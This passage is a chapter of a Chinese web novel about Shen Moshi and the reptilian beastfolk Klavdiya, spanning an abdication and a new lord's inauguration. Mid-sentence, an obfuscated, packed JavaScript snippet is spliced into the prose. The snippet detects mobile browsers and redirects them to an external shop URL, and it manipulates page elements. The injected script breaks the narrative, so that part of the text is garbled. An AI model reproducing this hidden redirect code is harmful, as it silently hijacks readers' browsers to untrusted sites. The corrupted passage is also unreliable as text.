“那就是可以用咯。”沈莫失的力道对她来说不痛不痒的,克拉芙季雅完全不介意,还眯起了一只眼打趣她。 沈莫失低头看着她,轻笑道:“不然你以为我们现在是在做些什么呢?” 对于不讲武德的对手,难道还要讲什么道理吗? “既然都到这一步了,我们是不是可以准备回家去了?”沈莫失打了个哈欠,再有意思的戏,看了这么久,她多少也觉得有些腻味了。 现在的她格外想念猎刀与红雪等人。 克拉芙季雅歪眉思索了一番,“还有一会儿吧,等乌鸦退位后我们再走。” “退位啊……”沈莫失擦去眼角的泪水,垂眸睨向克拉芙季雅,“他会愿意?” 克拉芙季雅与她四目相对,咧嘴勾起一个残暴的笑容,低声道:“那可由不得他。” 沈莫失哼笑着窝进了被子里,“那可真是个好消息,我就等着看好戏了。” “啊!你不许进来!”沈莫失突然隔着被子踹了脚克拉芙季雅。 她一摇尾巴,沈莫失就知道她想干嘛了,但让她脏兮兮地上床已经很挑战她的底线了,进被子里什么的完全不可接受。 “真是过分啊!我那么努力地在演戏给你看诶。”克拉芙季雅跪坐在床上,不爽地甩着尾巴,将床垫与床柱甩得啪啪作响。 “不行,这个绝对不可以。”沈莫失四肢并用,压紧了被子的边缘,让她无从下手。 不过只要克拉芙季雅想的话,直接把她整个翻过来也是可以的,但很明显,她要是敢翻被子,到时候沈莫失肯定会和她翻脸的。 克拉芙季雅叉腰看着好似毫无妥协余地的沈莫失,一脸懊悔的模样,“早知道。” 她顿了下,小声嘟囔了些什么,才有些泄气地接着说道:“好吧,那我就躺在外面。” 说着,她一个翻身,隔着被子枕在了沈莫失身上。 看着胸前歪倒着的一大只鬃狮蜥,沈莫失眨巴了下眼睛,这就妥协啦? 她其实都做好放她进来的准备了诶。 但沈莫失很快就听到了克拉芙季雅规律的呼吸声,这时候她才恍然大悟,捂住嘴不让笑声溢出来。 原来是累到都懒得和她计较了。 也对,彩玉最近来找她要抱抱的次数都变多了,更何况是克拉芙季雅这个平时懒散惯了的家伙。 只不过因为她是兽人,沈莫失会更难意识到她面上的疲惫之色。 最近确实是辛苦她俩了。 沈莫失展开一旁的小毯子,动作小心地盖住了她。 虽然现在的天气热起来了,不盖被子也没什么影响,但沈莫失还是坚持盖住了克拉芙季雅的躯干部位。 即使克拉芙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14341208|147628||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 季雅从不生病,沈莫失也还是坚信不盖被子睡觉她就会感冒这件事。 掖好了被子,沈莫失又顺着她头部鳞片的走向摸了摸她,面上挂着柔和的笑意。 ——直到她发现自己的手上沾满了古怪的血腥味。 沈莫失瞪大了眼睛,笑容一下子垮了下来,不可置信地又闻了闻自己的手指,并再次皱着脸把手挪远。 再看向身上的克拉芙季雅,她再也不为自己刚才拒绝了她的举动而感到愧疚了! 她香香的床啊! …… 几日后。 乌楠退位的消息如期传来,据说他自称年老体弱,身体不适,“自愿”卸下领主之位。 虽然之后就再没传出有关乌楠的任何消息,不过也没有人在意这件事,现在大众的关注点,都放在了新任领主——彩玉身上。 这位领主的出身、年龄、外貌、过往经历,都成为了大众津津乐道的话题。 不过,不论外界传得多么沸沸扬扬,把彩玉的上位经历编出了多少版本,新任领主的继任仪式都没有受到丝毫影响。 并且,由于本星球上已经十年没有发生过领主换届的事了,这次彩玉的仪式举办得格外隆重。 “前任领主副手,那只孔雀不是还没抓住吗?现在就举办仪式会不会太着急了?”沈莫失捧着盘小蛋糕,和克拉芙季雅扎堆站在一旁。 今天的两人都是盛装出席,克拉芙季雅终于又一次穿上了她那身张扬的红色披风。 沈莫失的礼服还是彩玉送来的,一席雪白与正红交错的长袍,零星挂着些金饰,和领主们的礼服形制很像,只是略微有些改动以示区分。 “乌鸦都不在了,光凭她一个能掀起什么风浪来。”克拉芙季雅姿态放松地站在沈莫失身侧,抬手抿了口杯中鲜红的液体。 不过她很快就扭曲了脸色,嫌恶地把嘴里的东西咽下,才咂着舌看向杯中的不明液体,“什么鬼玩意儿。” 嘟囔一句后,她又回到正题,斜眼瞥向沈莫失,“再说了,抓到她也只是时间问题罢了。” “你心里有数就好。”见克拉芙季雅完全不在意的样子,沈莫失也放下心来,从桌上抓起一杯与克拉芙季雅手中相同的鲜红饮料。 虽然颜色看着像酒,但其实只是果汁而已。 品味着嘴里酸甜的果味,沈莫失不禁眯眼笑了起来,彩玉对她口味的了解真是一如既往。 “也就只有你会喜欢这种怪东西了。”见她享受的样子,克拉芙季雅冲她吐了吐舌头。 “不懂酸甜口的有难了。”沈莫失撇嘴吐槽她的没品。 喝着果汁,看着台上的两人,沈莫失感慨道:“我没想到彩玉他居然会选小鱼作为他的副手。” 她看向身旁的克拉芙季雅,“小鱼之前没接触过这些事务吧?会不会太勉强她了。” 章鱼和钟鹄这两位副手给她留下的印象都太精干了,与她们相比,小鱼可真是个没长成的小孩子。 “副手不一定需要多么能干,但一定要是自己最信任的人,”克拉芙季雅向沈莫失解释道,“再说了,章鱼也不是一开始就这么老练的。” “我看那孩子挺机灵的,忙个几年也就差不多了,而且这不是还有她哥看着她吗?哪用得着你操心。” 她挑眉睨向沈莫失,觉得她真是想太多。